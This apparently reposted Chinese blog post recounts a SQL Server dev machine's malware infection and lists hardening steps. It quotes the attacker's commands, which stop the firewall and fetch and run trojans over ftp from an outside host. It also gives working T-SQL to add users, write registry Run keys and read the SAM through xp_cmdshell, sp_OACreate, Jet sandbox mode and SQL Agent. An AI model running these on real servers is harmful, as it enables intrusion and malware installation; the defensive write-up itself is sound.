最新文章專題視頻專題問答1問答10問答100問答1000問答2000關(guān)鍵字專題1關(guān)鍵字專題50關(guān)鍵字專題500關(guān)鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關(guān)鍵字專題關(guān)鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
問答文章1 問答文章501 問答文章1001 問答文章1501 問答文章2001 問答文章2501 問答文章3001 問答文章3501 問答文章4001 問答文章4501 問答文章5001 問答文章5501 問答文章6001 問答文章6501 問答文章7001 問答文章7501 問答文章8001 問答文章8501 問答文章9001 問答文章9501
當(dāng)前位置: 首頁 - 科技 - 知識百科 - 正文

sqlserver注入方式與安全防護(hù)的學(xué)習(xí)

來源:懂視網(wǎng) 責(zé)編:小采 時間:2020-11-09 07:54:25
文檔

sqlserver注入方式與安全防護(hù)的學(xué)習(xí)

sqlserver注入方式與安全防護(hù)的學(xué)習(xí):自己的開發(fā)機(jī)經(jīng)歷了兩次的中毒現(xiàn)像.每次中毒的現(xiàn)像,都是sqlserver.exe進(jìn)程去執(zhí)行cmd.com進(jìn)程,然后生成*.sys與*.bat兩個文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報警了. 下面是cmd.com執(zhí)行指令內(nèi)容 C:WINDOWSsystem3
推薦度:
導(dǎo)讀sqlserver注入方式與安全防護(hù)的學(xué)習(xí):自己的開發(fā)機(jī)經(jīng)歷了兩次的中毒現(xiàn)像.每次中毒的現(xiàn)像,都是sqlserver.exe進(jìn)程去執(zhí)行cmd.com進(jìn)程,然后生成*.sys與*.bat兩個文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報警了. 下面是cmd.com執(zhí)行指令內(nèi)容 C:WINDOWSsystem3

自己的開發(fā)機(jī)經(jīng)歷了兩次的中毒現(xiàn)像.每次中毒的現(xiàn)像,都是sqlserver.exe進(jìn)程去執(zhí)行cmd.com進(jìn)程,然后生成*.sys與*.bat兩個文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報警了. 下面是cmd.com執(zhí)行指令內(nèi)容 "C:"WINDOWS"system32"cmd.com" /c net1 s

自己的開發(fā)機(jī)經(jīng)歷了兩次的中毒現(xiàn)像.每次中毒的現(xiàn)像,都是sqlserver.exe進(jìn)程去執(zhí)行cmd.com進(jìn)程,然后生成*.sys與*.bat兩個文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報警了.

下面是cmd.com執(zhí)行指令內(nèi)容
"C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat

"C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat



第一次中毒,之后,就對sql server進(jìn)行了加強(qiáng),刪除了"xp_cmdshell"這個sql server中最不安全的擴(kuò)展存儲過程.不過,好了沒一個月,又來中一次.
這一次,我檢查了數(shù)據(jù)庫日志,xp_cmdshell并沒有恢復(fù),不過卻在日志在發(fā)現(xiàn)了sp_oacreate與sp_oamethod兩個存儲過程的執(zhí)行日志.
于是上網(wǎng)學(xué)習(xí),把自己的學(xué)習(xí)的一些東西記錄下來:
1. 初級sql注入攻擊
初級黑客攻擊SQL Server時,首先采用的方法是執(zhí)行master數(shù)據(jù)庫中的擴(kuò)展存儲過程xp_cmdshell命令來執(zhí)行一些指令,添加用戶,添加文件,添加木馬病毒等.
對付此類黑客只要禁用xp_cmdshell存儲過程就可以了.
xp_cmdshell是一個允許執(zhí)行任意的命令行命令的內(nèi)置的存儲過程。例如:
Exec master..xp_cmdshell 'dir'
將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表。如圖:

Exec master..xp_cmdshell 'net user'
將提供服務(wù)器上所有用戶的列表。當(dāng)SQLSERVER正常以系統(tǒng)帳戶或域帳戶運行時,攻擊者可以做出更嚴(yán)重的危害。

從上面的兩個示例中可以看出xp_cmdshell的強(qiáng)大功能,功能的強(qiáng)大也意味著破壞性的強(qiáng)大.
一般情況下,xp_cmdshell對管理員來說也是不必要的,xp_cmdshell的消除不會對Server造成任何影響。
可以將xp_cmdshell消除:
Use Master
Exec sp_dropextendedproc 'xp_cmdshell'
Go

如果需要的話,可以把xp_cmdshell恢復(fù)回來:
Use Master
Exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Go

如果有必要可以把xplog70.dll這個文件也刪除了,記得做好備份.

sql 2005:

sql 2005默認(rèn)情況下是不能執(zhí)行xp_cmdshell存儲過程的,但這就安全了嗎?


開啟xp_cmdshell存儲過程的執(zhí)行權(quán)限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
關(guān)閉xp_cmdshell存儲過程的執(zhí)行權(quán)限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

刪除了xplog70.dll將影響到"企業(yè)管理器"的一部分功能,我碰到的是無法在"企業(yè)管理器"中查看數(shù)據(jù)庫服務(wù)器的屬性.

2.中級sql注入攻擊
我們進(jìn)行了上面這一步的操作之后,就可以防護(hù)住了sql server的安全了嗎?不行,這只能針對一些剛學(xué)習(xí)sql注入的菜鳥才可行的辦法,對于中鳥及老鳥可不行,他們的方法可多了.
現(xiàn)在讓我們來看一下中級注入的方法.
當(dāng)數(shù)據(jù)庫管理員禁用了xp_cmdshell同時刪除了xplog70.dll,也禁止了文件上傳功能,那么針對初級來說使用xp_cmdshell來進(jìn)行一些操作已經(jīng)不可行了.
但是微軟還提供了一些其他功能的存儲過程,可以讓中級黑客進(jìn)行入侵.
1) 利用OLE對象接口
SQL SERVER提供了一些函數(shù)訪問OLE對象,分別是sp_OACREATE和sp_OAMethod,
可以利用他們調(diào)用OLE控件,間接獲取一個 shell。使用SP_OAcreate調(diào)用對象wscript。shell賦給變量@shell,然后使用SP_OAMETHOD調(diào)用@shell的屬性run執(zhí)行命令。

DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user hack hack /add'


2) 開啟access的沙盒模式
在默認(rèn)情況下Jet數(shù)據(jù)引擎不支持select shell("net user ray ray /add")這樣的SQL語句,
但是開啟了JET引擎的沙盒模式后就可以執(zhí)行命令,
先利用xp_regwrite存儲過程改寫注冊表,然后利用 OpenRowSet訪問一個系統(tǒng)本身自帶的一個ACCESS數(shù)據(jù)庫文件,再執(zhí)行運行命令的SQL語句。

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare"Microsoft"Jet"4.0 "Engines','SandBoxMode','REG_DWORD',3

SandBoxmode值說明
默認(rèn)值為2,
0--表示始終禁用SandBoxmode模式,
1--表示對于非Acess應(yīng)用程序試用SandBoxmode模式,
2--表示對access應(yīng)用程序使用SandBoxmode模式,
3--則表示完全開啟安全設(shè)置。

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:"windows"system32"ias"ias.mdb','select shell("net user hack hack /add")');


3) 利用xp_regxxxxx之類的存儲過程寫注冊表項
這個方法只有sa賬戶或是sysadmin權(quán)限的帳戶才可以使用.
執(zhí)行
exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY"SAM"Domains"Account'', ''F''
如果碰到一個粗心的管理員,說不定就能得到管理員的密碼.
加一個啟動項什么的自然不在話下。
利用xp_regwrite寫注冊表項,直接把要執(zhí)行的命令寫入RUN啟動項。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE"Microsoft"Windows"currentversion"run','shell','REG_SZ','C:"windows"system32"cmd.exe /c net user hack hack /add'

如果有必要就把這些擴(kuò)展都刪除了
Xp_regaddmultistring (向注冊表中增加項目)
Xp_regdeletekey (從注冊表中刪除一個鍵)
Xp_regdeletevalue (從注冊表中刪除一個鍵值)
Xp_regenumvalues (列舉主鍵下的鍵值)
Xp_regread (讀去一個主鍵下的鍵值)
Xp_regremovemultistring (從注冊表中刪除項目)
Xp_regwrite (向注冊表中寫入數(shù)據(jù))

4 ) 利用SQL代理執(zhí)行命令
默認(rèn)情況下這個服務(wù)是關(guān)閉的.我們可以先利用xp_servicecontrol開啟SQLSERVERAGENT,然后建立個SQL計劃任務(wù),然后馬上運行這個任務(wù)。

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:"'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'

除了我舉的上面四種方式外,還有其他方式,不過我不太了解,我就不一一列舉了。

三、其他獲取系統(tǒng)信息

歷遍目錄
exec master.dbo.xp_dirtree 'c:"'
獲取子目錄
exec master.dbo.xp_subdirs 'c:"'
列舉可用的系統(tǒng)分區(qū)
exec master.dbo.xp_availablemedia
判斷目錄或文件是否存在
exec master..xp_fileexist 'c:"boot.ini'
等等,不一一列舉了.

四、高級注入技術(shù)
對于高級注入技術(shù),我在網(wǎng)上沒找到相關(guān)的學(xué)習(xí)資料,我想這些技術(shù)也應(yīng)該是在一小部分人群中傳播的。所以也就無從講起了。


五、防御SQL注入的一些要點與方法
1. 確認(rèn)已經(jīng)安裝了windows操作系統(tǒng)和SQL Server的最新補(bǔ)丁程序。
2. 評估并且選擇一個考慮到最大的安全性但是同時又不影響功能的網(wǎng)絡(luò)協(xié)議。 多協(xié)議是明智的選擇, 但是它有時不能在異種的環(huán)境中使用。
說明:如果可能請除去不需要的網(wǎng)絡(luò)協(xié)議。
3. 給 "sa" 和具有"sysadmin"權(quán)限的帳戶設(shè)定強(qiáng)壯的密碼來加強(qiáng)其安全性。至于什么是強(qiáng)壯的密碼呢,個人認(rèn)為是字母、數(shù)字、特殊字符的組合,不少八位字符。
4. 使用一個低特權(quán)用戶作為 SQL 服務(wù)器服務(wù)的查詢操作賬戶,不要用 LocalSystem 或sa。
這個低權(quán)限的帳戶應(yīng)該只有最小的權(quán)限和限制這個帳戶對SQL Server的查詢與存取操作。 用戶可以用最小權(quán)限查詢sql server中的很多東西。若非必須不要給予多余的權(quán)限。
注意:當(dāng)使用企業(yè)管理器做以上設(shè)置時 , 文件,注冊表和使用者權(quán)利上的權(quán)限處理。

5. 確定所有的SQL服務(wù)器數(shù)據(jù),而且系統(tǒng)文件是裝置在 NTFS 分區(qū),且"目錄訪問控制"被應(yīng)用。
如果萬一某人得到對系統(tǒng)的存取操作權(quán)限,該層權(quán)限可以阻止入侵者破壞數(shù)據(jù),避免造成一場大災(zāi)難。

6.如果你不需要 xp_cmdshell 那請停用它。如果需要的話再把它增加回來。
其實這也好也不好 ————一個侵入者如果發(fā)現(xiàn)它不在了,也只需要把他加回來??紤]一下,可以除去在下面的 dll但是移除之前必須測試因為有些dll同時被一些程序所用。
要找到其他的程序是否使用相同的 dll請進(jìn)行以下步驟:
首先得到該 dll:
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name=‘xp_cmdshell‘
其次,使用相同的 dll發(fā)現(xiàn)其他的擴(kuò)展儲存操作是否使用該dll:
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text=‘xplog70.dll‘
用戶可以用同樣的辦法處理下面步驟中其他你想去掉的進(jìn)程。

7. 如不需要就停用對象連接與嵌入自動化儲存程序 ( 警告 - 當(dāng)這些儲存程序被停用的時候 , 一些企業(yè)管理器功能可能丟失). 這些存儲過程如下:
sp_OACreate
sp_OADestroy
sp_OAGetErrorInfo
sp_OAGetProperty
sp_OAMethod
sp_OASetProperty
sp_OAStop
如果你決定停用這些存儲過程,那么請給他們寫一個腳本這樣在以后你用到他們的時候你能夠把他們重新添加回來 。

8. 禁用你不需要的注冊表存儲過程。(同上面的警告)這些包括:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumvalues
xp_regremovemultistring
注意 :xp_regread/ xp_regwrite這兩個存儲過程的移除影響一些主要功能包括日志和SP的安裝,所以他們的移除不被推薦。


9.移除其他你認(rèn)為會造成威脅的系統(tǒng)儲存過程。 這種存儲過程是相當(dāng)多的,而且他們也會浪費一些cpu時間。
小心不要首先在一個配置好的服務(wù)器上這樣做。首先在開發(fā)的機(jī)器上測試,確認(rèn)這樣不會影響到任何的系統(tǒng)功能。在下面是我們所推薦的有待你評估的一些列表:
sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree


10. 除去數(shù)據(jù)庫的guest賬戶,這樣可以把未經(jīng)許可的使用者排除在外。 例外情況是master和 tempdb 數(shù)據(jù)庫,因為對他們guest帳戶是必需的。

11. 若非必須,請完全地禁用SQL郵件功能。它的存在使?jié)撛诘墓粽哌f送潛在的 trojans ,病毒或是簡單實現(xiàn)一個DOS攻擊成為可能

12. 記錄所有的用戶存取訪問情況。 從企業(yè)管理器做這些設(shè)定或通過以sa登陸進(jìn)入查詢分析器的下列各項:
xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE" Microsoft"MSSQLServer"MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3

13. 建立一個計劃的任務(wù)運行:
然后再重定向輸出到一個文本文件或電子郵件,因此你監(jiān)測失敗的登錄嘗試。
這也為系統(tǒng)管理員提供一個好的記錄攻擊的方法。 也有很多用來分析NT日志事件的第三者工具。
注意: 你可能需要將路徑換成你安裝SQL的路徑。

14. 設(shè)定非法訪問和登陸失敗日志警報。到 企業(yè)管理器中的"Manager SQL Server Messages "搜尋任何有關(guān)無權(quán)訪問的消息
( 從查找"login failed"和"denied"開始). 確定你所有感興趣的信息被記錄到事件日志。然后在這些信息上設(shè)定警報 , 發(fā)送一個電子郵件或信息到一個能夠?qū)栴}及時響應(yīng)的操作員。

15. 經(jīng)常檢查組或角色全體會員并且確定用組分配權(quán)限,這樣你的審計工作能夠簡化。 確定當(dāng)你在的時候 , 公眾的組不能從系統(tǒng)表執(zhí)行選擇操作。

16. 花些時間審計用空密碼登陸的請求。 使用下面的代碼進(jìn)行空密碼檢查:
select
password ,*
from syslogins
where password is null
order by name


17. 檢查所有非sa用戶的存取進(jìn)程和擴(kuò)充存儲進(jìn)程的權(quán)限。 使用下面的查詢定期的查詢哪一個進(jìn)程有公眾存儲權(quán)限:
Use master
select sysobjects.name
from sysobjects,sysprotects
where sysprotects.uid=0
AND xtype 在 (‘X‘,‘P‘)
AND sysobjects.id=sysprotects.id
Order by name

18. 當(dāng)時用企業(yè)管理器的時候,使用整合的安全策略。 過去,企業(yè)管理器被發(fā)現(xiàn)在標(biāo)準(zhǔn)的安全模態(tài)中儲存 "sa" 密碼在注冊表的 plaintext 中。 注意: 即使你改變模態(tài),密碼也會留在注冊表中。

sql 2000:

使用 regedit 而且檢查鍵:
HKEY_USERS"{yourSID}"software"Microsoft"Microsoft SQL server"80"tool"SQLEW"registered server X"SQL server group
("SQL server組" 是默認(rèn)值但是你可能已建立用戶組因此相應(yīng)地改變其位置)

sql 2005已經(jīng)沒有在注冊表中寫sqlew這個鍵了.


19. 制定一個安全審核計劃,每月的一份安全報告,對IT主管可用的報表包括新的開發(fā)內(nèi)容中進(jìn)行的數(shù)據(jù)庫修改,成功的攻擊 , 備份保護(hù) , 和對象存取失敗統(tǒng)計。

20. 不要允許使用者交互式登陸到 SQL Server之上。這個規(guī)則適用任何的服務(wù)器。 一旦一個使用者能夠交互式進(jìn)入一個服務(wù)器之內(nèi),就有能用來獲得管理員的存取特權(quán)得到管理員權(quán)限。

最后就是,對方怎么得到我的開發(fā)機(jī)上的動態(tài)IP的,這我怎么也沒想清楚.

聲明:本網(wǎng)頁內(nèi)容旨在傳播知識,若有侵權(quán)等問題請及時與本網(wǎng)聯(lián)系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

本文如未解决您的问题请添加抖音号:51dongshi(抖音搜索懂视),直接咨询即可。

文檔

sqlserver注入方式與安全防護(hù)的學(xué)習(xí)

sqlserver注入方式與安全防護(hù)的學(xué)習(xí):自己的開發(fā)機(jī)經(jīng)歷了兩次的中毒現(xiàn)像.每次中毒的現(xiàn)像,都是sqlserver.exe進(jìn)程去執(zhí)行cmd.com進(jìn)程,然后生成*.sys與*.bat兩個文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報警了. 下面是cmd.com執(zhí)行指令內(nèi)容 C:WINDOWSsystem3
推薦度:
標(biāo)簽: 安全 自己的 方法
  • 熱門焦點
專題
Top
fffffffffffff

抖音扫码关注

手机端二维码

每天分享百科知识!